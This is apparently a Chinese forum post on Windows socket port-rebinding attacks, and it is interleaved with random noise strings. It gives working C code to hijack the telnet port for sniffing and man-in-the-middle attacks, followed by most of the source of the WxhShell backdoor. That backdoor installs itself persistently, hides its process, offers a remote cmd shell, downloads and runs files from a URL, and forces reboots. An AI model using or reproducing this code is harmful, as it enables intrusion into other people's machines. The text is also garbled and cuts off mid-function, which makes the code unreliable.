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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S>**hMU% s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `5x,N%9{ -'ZP_$sA saddr.sin_family = AF_INET; |QHWX^pO Q,jlKgB5: saddr.sin_addr.s_addr = htonl(INADDR_ANY); w $2-t \2~.r/`1 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 's*UU:R DNL
TJrN 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _&yQW&vH# QAu^]1 ; 这意味着什么?意味着可以进行如下的攻击: k"AY7vq@!P 'X`\vTxB 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hI/p9
`w uE/qraA 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) g|2D(J _)^(-}(_D 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6W3}6p .%D] z{'' 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 FSH6C2 !M}&dW2 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _Hkc<j/e~ =#1/<q)L 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 po{f*}gas] ?t<wp3bZ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W/J3sAYv q^,^tw #include UY>{e>/H9 #include 78 3a Z8 #include ,/Xxj\i #include CuDU~)` DWORD WINAPI ClientThread(LPVOID lpParam); SR8[
7MU int main() F[9IHT6{ { SU x\qz) WORD wVersionRequested; *6k
(xL DWORD ret; mQ1QJ_; WSADATA wsaData; d{DlW
|_ BOOL val; [rGR1>U?i SOCKADDR_IN saddr; *mBn''a"* SOCKADDR_IN scaddr; .i`+} @iA int err; u*H2kn[DU SOCKET s; $z`
jR* SOCKET sc; t+66kB N int caddsize; J&h 3, HANDLE mt; k
\]@ DWORD tid; 7rsrC wVersionRequested = MAKEWORD( 2, 2 ); YMz[je err = WSAStartup( wVersionRequested, &wsaData ); _"z#I
CT( if ( err != 0 ) { :Rq@ %rL printf("error!WSAStartup failed!\n"); f61~%@fE return -1; b/E1v,/< } S0kH/A saddr.sin_family = AF_INET; [_b10Z'{ SkN^ytKE //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E6BW&Xp vUj7rDT| saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !$Mv)c/_u saddr.sin_port = htons(23); R'&^)_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?ILNp`k { drF"kTD"7 printf("error!socket failed!\n"); 6eQrupa return -1; <:/V`b3a } >>&~;PG[ val = TRUE; Hs2L$TX //SO_REUSEADDR选项就是可以实现端口重绑定的 XbG=H-| if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) l$PO!JRD { |RHX2sso printf("error!setsockopt failed!\n"); cj5pI?@e) return -1; :qw:)i } \b~zyt6- //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -!7QH' //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
%lEPFp //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 YIjBKh
c9DX if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6V!yfps) { E&]S No< ret=GetLastError(); uy 7)9w printf("error!bind failed!\n"); V@T G"YF return -1; 2{ }5WH } :Im_=S[0 listen(s,2); +Hv%m8'0| while(1) IzkZ^;(N { +X.iJ$) caddsize = sizeof(scaddr); ZH.l^'(W //接受连接请求 <g,xc)[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /V:%}Z if(sc!=INVALID_SOCKET) KvC:(Vqj { C\EZ8 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \:^$ZBQr<n if(mt==NULL) >}_c<`: { :B)w0 tVw printf("Thread Creat Failed!\n"); dqPJ 2j $\ break; i_f"?X;D } >>K)
4HYID } uV=rLDY CloseHandle(mt); 8={(Vf6 } W9.ZhpM closesocket(s); Bqa%L.N2SS WSACleanup(); ;Mw9}Reh@ return 0; '[:].?M } {. eC" DWORD WINAPI ClientThread(LPVOID lpParam) 3-tp94`8}t { J:pnmZ`X SOCKET ss = (SOCKET)lpParam; >P+V!-%# SOCKET sc; x7t"@Gz unsigned char buf[4096]; oa47TqFt SOCKADDR_IN saddr; Hya*7l']B long num; 'U5
E{ DWORD val; mqwN<: DWORD ret; pLrNYo*d //如果是隐藏端口应用的话,可以在此处加一些判断 S\GG(#b! //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 h4!$,%"'' saddr.sin_family = AF_INET; ]TqcV8Q~ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h.=YAcR0D saddr.sin_port = htons(23); 9sJbz=o]r if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2{#*z%|z { m6aoh^I printf("error!socket failed!\n"); -mcLT@ return -1; Zna
}h{ } z{;W$SO
2 val = 100; C n4|qX"&t if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @q[-,EA9 { i1 C]bUXA ret = GetLastError(); _/P"ulNb return -1; u&r@@p. } li,kW`j+t if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OjyS
?YY)b { @DY0Lz; ret = GetLastError(); !(l,+@j return -1; tgc&DT;E } 9`-ofwr'| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )<IbQH|_ { T|ZT&x$z printf("error!socket connect failed!\n"); &!KJrQ closesocket(sc); 8t0i
j closesocket(ss); pl|<g9 return -1; //K]zu } ~8}"X] 4 while(1) \1ys2BX { 69O?sIk //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @b-?KH //如果是嗅探内容的话,可以再此处进行内容分析和记录 r(%#@?& //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ax7ub num = recv(ss,buf,4096,0); izmL8U
?t if(num>0) ls 'QfJm send(sc,buf,num,0); (J$JIPF else if(num==0) 3l5q?" $ break;
2Xe2%{ num = recv(sc,buf,4096,0); d=N5cCqq if(num>0) u&2uQ-T0 send(ss,buf,num,0); dpGaI else if(num==0) Hagj^8 break; ?8YHz } zSDiJ$Xk closesocket(ss); >d#B149 closesocket(sc); ;(VJZ_ return 0 ; 93[`1_q7\ } LOR$d^l ^Q2K0'm5 ?HZ+fS,- ========================================================== :%!=Ej.J )k0bP1oGS 下边附上一个代码,,WXhSHELL >:KPvq!0 ~)sb\o
========================================================== /ExnW >wT `'+[Y;s_ #include "stdafx.h" z$%ntN#eNA F RS@-P #include <stdio.h> H)t8d_^|j #include <string.h> 'X@j #include <windows.h> PM o>J|^ #include <winsock2.h> X
B65,l #include <winsvc.h> }SUe 4r&4} #include <urlmon.h> 9.SPxd~
pz.<5 #pragma comment (lib, "Ws2_32.lib") j31
Sc3vG #pragma comment (lib, "urlmon.lib") yd`.Rb&V f0MHh5 #define MAX_USER 100 // 最大客户端连接数 R"=G?d) #define BUF_SOCK 200 // sock buffer @qg=lt|(F #define KEY_BUFF 255 // 输入 buffer 1fEV^5I V"T;3@N/4 #define REBOOT 0 // 重启 cnhYrX^ #define SHUTDOWN 1 // 关机 vV8y_ kmo3<'j{ #define DEF_PORT 5000 // 监听端口 -L1{0{Z ;Q?
Qwda #define REG_LEN 16 // 注册表键长度 N ?0V0B #define SVC_LEN 80 // NT服务名长度 rs 7R5 F [$-y8`~( // 从dll定义API rw8db' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oNl_r: G typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $;$_N43 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0'RSl~QvqS typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7NoB \u",bMQF // wxhshell配置信息 6dq5f?w] struct WSCFG { A3M)yW q int ws_port; // 监听端口 0m51nw~B char ws_passstr[REG_LEN]; // 口令 a"#5JcR3 int ws_autoins; // 安装标记, 1=yes 0=no j.AAY?L char ws_regname[REG_LEN]; // 注册表键名 <7?MutHM- char ws_svcname[REG_LEN]; // 服务名 !3?HpR/nV char ws_svcdisp[SVC_LEN]; // 服务显示名 YuLW]Q?v char ws_svcdesc[SVC_LEN]; // 服务描述信息 Eh8.S)E char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j
YO# int ws_downexe; // 下载执行标记, 1=yes 0=no v3.JG]zLpP char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" eUx|_*` char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y~fds#y0 S(9fGh }; ]e)<CE2
#}e)*( // default Wxhshell configuration ;Fp"]z!Qh+ struct WSCFG wscfg={DEF_PORT, '.d el7s "xuhuanlingzhe", au0)yg*V1 1, Jr\4x7a;`~ "Wxhshell", mA3C)V "Wxhshell", GP`_R "WxhShell Service", '0/t |V< "Wrsky Windows CmdShell Service", M2vYOg`t:c "Please Input Your Password: ", ;`s/|v 1, ze!7qeW " http://www.wrsky.com/wxhshell.exe", ;]vE"M x$ "Wxhshell.exe" 5BTQJa };
4K)P Yk CXvL`d" // 消息定义模块 ~hYG% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0j_`7<,: char *msg_ws_prompt="\n\r? for help\n\r#>"; a|lcOU char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; N[ E
t char *msg_ws_ext="\n\rExit."; 80
i<Ij8J char *msg_ws_end="\n\rQuit."; ndW??wiM char *msg_ws_boot="\n\rReboot..."; z9'ME char *msg_ws_poff="\n\rShutdown..."; |;Jcf3e( char *msg_ws_down="\n\rSave to "; ),dXaP[ R279=sO,J char *msg_ws_err="\n\rErr!"; d,+d8X char *msg_ws_ok="\n\rOK!"; >g8Tl`P,iN *%\z#Bje@ char ExeFile[MAX_PATH]; |BF4F5wC? int nUser = 0; D{ @x HANDLE handles[MAX_USER]; h]vA%VuE'E int OsIsNt; iS=}| 8" q\[f$==p SERVICE_STATUS serviceStatus; v#nYH?+~mJ SERVICE_STATUS_HANDLE hServiceStatusHandle; EcBSi995dj I tp7X // 函数声明 Lc0^I<Y int Install(void); "P"~/<:) int Uninstall(void); ?_}[@x int DownloadFile(char *sURL, SOCKET wsh); MXSPD#gN int Boot(int flag); gKn"e|A void HideProc(void); 9.D'! int GetOsVer(void); YYZE-{ % int Wxhshell(SOCKET wsl); cZ%weQa#N) void TalkWithClient(void *cs); =<n+AqJ% int CmdShell(SOCKET sock); *siS4RX2 int StartFromService(void); |*i0h`a int StartWxhshell(LPSTR lpCmdLine); GC~Tf rf=r T>.*c6I
b VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Abd&p N VOID WINAPI NTServiceHandler( DWORD fdwControl ); !1w=_ P*)}ENY // 数据结构和表定义 ^)D[ W(* SERVICE_TABLE_ENTRY DispatchTable[] = _l{GHz
{ WFsa8qv {wscfg.ws_svcname, NTServiceMain}, 3-Xum*)Y {NULL, NULL} b jZcWYT }; G>d@lt [#M^:Q // 自我安装 bAGQ int Install(void) 7M=`Z{=9 { V)f/umT%g char svExeFile[MAX_PATH]; +tES:3Pi HKEY key; =Y?M#3P.I strcpy(svExeFile,ExeFile); [8(e`6xePb ~4`LOROC
// 如果是win9x系统,修改注册表设为自启动 _<yJQ|[z~i if(!OsIsNt) { al(t-3`< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 59FAhEg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o}
YFDYi RegCloseKey(key); |!aMj8i2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jp=ur)Dj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A8dIL5 RegCloseKey(key); Vf`1'GY return 0; [wj&.I{^s } 5BN!uUkm+ } ggzg,~V } hwSn?bkw else { )apqL{u:= -;Y*;xe // 如果是NT以上系统,安装为系统服务 c7[|x%~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C;-9_;& if (schSCManager!=0) 7D|g|i { h%8[];*DpN SC_HANDLE schService = CreateService V<ziJ7H/ ( am]$`7R5d schSCManager, W}50E.\# wscfg.ws_svcname, FrIgu k1 wscfg.ws_svcdisp, 2$V]XSe SERVICE_ALL_ACCESS, jn&[=Y- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yCwBZ/C SERVICE_AUTO_START, k id3@ SERVICE_ERROR_NORMAL, 3<88j&9 svExeFile, "M3R}<Vt NULL, D'$ki[{, NULL, MN}@EQvW== NULL, &}_E~jKK NULL, }S\ \"SBC NULL }Dc0 Y ); sk5h_[tK if (schService!=0) m-xSF]q=< { PO%Z.ol9 CloseServiceHandle(schService); ,edX;`# CloseServiceHandle(schSCManager); rwWs\~.H strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :aS8%m strcat(svExeFile,wscfg.ws_svcname); F4xYfbwY"] if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |JC/A;ZH RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &^=6W3RD RegCloseKey(key); $,ZBK6CT return 0; T>7$<ulm } \DI%/(? } %5?qS`/c( CloseServiceHandle(schSCManager); .DR^<Qy } /o Q^j'v } ^oDC F
yr9%,wwN return 1; W3Oj6R } M0YV Qa 4D=p#KZ // 自我卸载 Km7HB!=< int Uninstall(void) 1:h{(
%`& { kTZ`RW&0 HKEY key; ]a F,r" !C]0l if(!OsIsNt) { T PEg>[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i0;
p?4`m RegDeleteValue(key,wscfg.ws_regname); b+bgGLo RegCloseKey(key); 3WZdP[o! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a NhI<.v RegDeleteValue(key,wscfg.ws_regname); 9#Gz2u $ RegCloseKey(key); biLx-F c return 0; }SpjB } -LI^(_ } 4iMo&E< } BQmHYar else { CV&+^_j'k wQ]!Y?I SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |3j'HN5S if (schSCManager!=0) n]c6nX:' { 0%$E^` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hfw$820y[ if (schService!=0) \Jq$!foYx { COvcR.*0F if(DeleteService(schService)!=0) { }q7rR:g CloseServiceHandle(schService); ;;#28nV CloseServiceHandle(schSCManager); //T1e7) return 0; `}<x"f7.z } @Cg%7AF CloseServiceHandle(schService); /Z`("X?_Kf } E_k<EQ%r CloseServiceHandle(schSCManager); LE#ko2#ke } pm`BMy<5PU } *-0tj~)> YL*yiZ9 return 1; 4&]Sb} } `L n,qiA .;nU"
a3' // 从指定url下载文件 /E8{:>2 int DownloadFile(char *sURL, SOCKET wsh) Jse;@K5y { CEbZj
z| HRESULT hr; aly1=j char seps[]= "/"; ^~\cx75D char *token; ]'+PJdA char *file; c4H5[LPF char myURL[MAX_PATH]; _nW{Q-nh char myFILE[MAX_PATH]; 'e
@`HG
{BB#Bh[ strcpy(myURL,sURL); 0*7N= token=strtok(myURL,seps); 9HJrMX while(token!=NULL) K`}8fU { 36MqEUjyB file=token; 4L<h%
'Zn token=strtok(NULL,seps); za$v I?ux } _ zM/>Qa -CePtq` GetCurrentDirectory(MAX_PATH,myFILE); }e[;~g\& strcat(myFILE, "\\"); W\f u0^ strcat(myFILE, file); OAx5 LTd send(wsh,myFILE,strlen(myFILE),0); `?@7T-v send(wsh,"...",3,0); E&js`24 & hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @q8h'@sX if(hr==S_OK) a@+n return 0; W`auQO else cPu<:<F[ return 1; 0i%r+_E_ SbrKNADH% } 9*`(*>S vxN,oa{hf // 系统电源模块 p@`]9tLP(K int Boot(int flag) Zw4z`x1f { /O@TqH HANDLE hToken; R1A|g=kF TOKEN_PRIVILEGES tkp; z''ITX)oG $"#2hVO if(OsIsNt) { <<#j?% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~%.<rc0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oXW51ty tkp.PrivilegeCount = 1; bm`x;M^M tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xb6y=L AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xhq-$"B if(flag==REBOOT) { c_p7vvI&c0 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 60R Yw9d%0 return 0; Ep
} {m<8c } ^)wTCkH&y else { [yFf(>B if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8Qm%T7]UFb return 0; k+nfW]UNF } ?7?hDw_Nk } Ih RWa|{I else { l:Hm|9UZ if(flag==REBOOT) { <.d^jgG(j if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IZw>!KYG return 0; VDnN2)Km* } jPu m2U_ else { CN(}0/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [9c|!w^F return 0; CRpMpPi@} } +c+i~5B4 } j2dptM3t{ Wjf,AjL\ return 1; J/T$.*X } <r`^iR)% JSf \ApX // win9x进程隐藏模块 B:?MMXB void HideProc(void) ; fOkR+ { NA`qC.K }hoyjzv]L HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); } ={TVs^ if ( hKernel != NULL ) Pjvzefp { !=/wpsH pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;kE|Vx ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Of@LEEh6 FreeLibrary(hKernel); \x(ILk|'c } Tl/!Dn ()\=(n!J return; v4$"{W;' } vGIe"$hNh C]- !uLy // 获取操作系统版本 qcWY8sYf int GetOsVer(void) 8*$HS.Db' { gL/D| = OSVERSIONINFO winfo; _Qh:*j! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *i`t4N
A GetVersionEx(&winfo); }HLs.k4-; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eI@nskq# return 1; YU]|N'mL2 else zxD~W"R:s return 0; ~R+,4 } ^F="'/Pq[
dm:2:A8^ // 客户端句柄模块 dX^d\
wX int Wxhshell(SOCKET wsl) Fk4T>8q2; { _G62E$= SOCKET wsh; 9|{t%F=- struct sockaddr_in client; le*'GgU# DWORD myID; vB<2f*U 8hZYZ /T while(nUser<MAX_USER) 7A=*3 { D\@)*" int nSize=sizeof(client); U)sw
Iis E wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %@,!
( if(wsh==INVALID_SOCKET) return 1; ~'.SmXZs WBd$#V3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uH.1'bR?a if(handles[nUser]==0) T=W;k<P\k closesocket(wsh); s`$YY_ else mzGMYi* nUser++; 0nu&JQ } 3!*qB-d WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J=`2{
'l c|2+J:}p return 0; ^VOA69n>$ } -TT{4\%s 1Z_2s2`p // 关闭 socket &W*do void CloseIt(SOCKET wsh) q L-Ni { tmgZNg
closesocket(wsh); &`LR{7m nUser--; ;JHR~ TV ExitThread(0); zu!# } l2h1CtAU t}X+P`Ovq // 客户端请求句柄 V/@7XAt void TalkWithClient(void *cs) N2Qb+ { :RG=3T[ G|eJac> SOCKET wsh=(SOCKET)cs; G5T( char pwd[SVC_LEN]; p`=v$_]?( char cmd[KEY_BUFF]; 9Z^\b)x char chr[1]; &VdKL2 int i,j; QP~Iz*J' IA3m.Vxj ^ while (nUser < MAX_USER) { M/5+AsT &^hLFd7j/ if(wscfg.ws_passstr) { 1Pp2wpD4iC if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3jzmiS] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ClWxL#L6~ //ZeroMemory(pwd,KEY_BUFF); gnWEsA\! i=0; pm>$'z!.): while(i<SVC_LEN) { dml,|k= >ca w
: // 设置超时 Lyy:G9OV fd_set FdRead; ~RU-N%Kn struct timeval TimeOut; mhv ;pM6 FD_ZERO(&FdRead); jG^f_w FD_SET(wsh,&FdRead); ^$x1~}D TimeOut.tv_sec=8; M'sq{K9 TimeOut.tv_usec=0; "wj~KbT}& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H9Dw#.em if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CYn56eRK 1F]jy
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N;|:Ks#! pwd =chr[0]; @@ =e-d if(chr[0]==0xd || chr[0]==0xa) { 557%^)v pwd=0; :7L[v9' break; ltg\x8w?c } v"8i2+j i++; EHF
dQ0gIa } 0o]T6 n>L24rL // 如果是非法用户,关闭 socket 3ahbv%y if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5}|bDJ$% _ } ]wHXrB8vx 'XP send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S '(K send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8o\KF(I B.F~/PET while(1) { YGsg0I't ^EZ?wdL ZeroMemory(cmd,KEY_BUFF); mXJ`t5v^l _`d=0l*8 // 自动支持客户端 telnet标准 %Y-KjSs+l j=0;
PE&$2( while(j<KEY_BUFF) { _BPp=(| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,wB)hp cmd[j]=chr[0]; L
4Sa,ZL if(chr[0]==0xa || chr[0]==0xd) { @E%fAC cmd[j]=0; -Zfq:Kr break; ~aL&,0 } f=kt0 j++; [t+qYe8 } P ,*yuF|bk [{-5 // 下载文件 N D1'XCN if(strstr(cmd,"http://")) { ^<`uyY))Q send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,#8H9<O9t if(DownloadFile(cmd,wsh)) HzZ.q2Zz% send(wsh,msg_ws_err,strlen(msg_ws_err),0); kB]?95>Wx else `^'0__<M send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ot;
]?M } Xp?WoC N else { -oB`v' a(IZ2Zmr switch(cmd[0]) { m.&"D>
\t 2bt).gGm // 帮助 +O?`uV case '?': { 4cZlQ3OE. send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (Nn)_caVb break; <qjolMO` } '~n=<Y // 安装 8ps1Q2| case 'i': { *zl-R*bM$ if(Install()) >fx/TSql:J send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9HG" }CGZP else nV>=n,+s" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0ra+MQBg break; I7?s+vyds } s&D>'J // 卸载 |l673FcJ case 'r': { JK^pb0ih if(Uninstall()) JTdcLmL send(wsh,msg_ws_err,strlen(msg_ws_err),0); a8cX{6 else C sx
EN4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #|;;>YnZ break; y2:Bv2} } Igb%bO_ // 显示 wxhshell 所在路径 ^^kL.C Ym case 'p': { Dy^A??A[E} char svExeFile[MAX_PATH]; U{ZKxE strcpy(svExeFile,"\n\r"); K(heeZUt strcat(svExeFile,ExeFile); [5wU0~>' send(wsh,svExeFile,strlen(svExeFile),0); ucX!6)Op break; ~NZ}@J{00_ } 7~2V5@{< // 重启 2O
"
~k case 'b': {
dEK bB send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gjc[\"0a5h if(Boot(REBOOT)) =fcRH:B: send(wsh,msg_ws_err,strlen(msg_ws_err),0); UmOK7SPi else { pL`)^BJ closesocket(wsh); z2god 1" ExitThread(0); 91:TE8?Z } Pw/$
}Q9X break; NY\-p=3c7= } [WBU_ // 关机 L]3gHq case 'd': { #p/'5lA&j send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t[%ELHV if(Boot(SHUTDOWN)) 9}#9i^%} send(wsh,msg_ws_err,strlen(msg_ws_err),0); "fWm{; else { 7-2,|(Xg closesocket(wsh); <-N7Skkk! ExitThread(0); &D#B"XI } yYPFk break; g{^(EZ, } 4S*7*ak{ // 获取shell <c]? case 's': { >IEc4 CmdShell(wsh); zD):
yEc closesocket(wsh); \5R>+[n! ExitThread(0); ^/"2s}+ break; 3TF'[(K= } KK41I8Mw // 退出 L]QBh\ case 'x': { ],w+4;+ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m}GEx)Y D CloseIt(wsh); QR*{}`+l break; ^s6C']q *O } % QI6`@Y" // 离开 FXo{|z3 case 'q': { *>J45U(6: send(wsh,msg_ws_end,strlen(msg_ws_end),0); g <5G# closesocket(wsh); %nT & WSACleanup(); YA*E93 J0 exit(1); G:Cgq\+R break;
!AFii:# } XDAwE } B+2Jea,N } .MI
5?]_ am#(ms // 提示信息 W;ADc2#) if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %\?Gzc_ } [Ontip } u\P)x~-TM y];@ M<<?e return; @j+X>TD } 'Z`fZ5q _VI3b$ // shell模块句柄 ~=9]M.$ int CmdShell(SOCKET sock) CQ^I;[=d { TDY =! STARTUPINFO si; '^~38=FA ZeroMemory(&si,sizeof(si)); mBWhC<kKs si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9<6Hs3|.! si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A:YWXcg PROCESS_INFORMATION ProcessInfo; <PTi>C8;r char cmdline[]="cmd"; g].v CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .Af H>)E return 0; #Q$`3rr } m`H9^w%W gfmaO] // 自身启动模式 b@yFqgJ_ int StartFromService(void) 4!0nM|~ { q.69<Rs typedef struct ?&se]\ { kq=tL@W`0} DWORD ExitStatus; ff<adl- DWORD PebBaseAddress; O>sE~~g]? DWORD AffinityMask; Ll'!aar, DWORD BasePriority; \'Ewn8Qv8 ULONG UniqueProcessId; iWMgU:T ULONG InheritedFromUniqueProcessId; ~.f[K{h8 } PROCESS_BASIC_INFORMATION; Q2K)Nl >_ 31n|ScXv PROCNTQSIP NtQueryInformationProcess; eKek~U& "i/3m'<2 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s&~.";b
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d&5GkD.P B)L;ja HANDLE hProcess; Dd$CN&Ca PROCESS_BASIC_INFORMATION pbi; Oky9GC.a 0fU^ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X]AbBzy if(NULL == hInst ) return 0; } P/
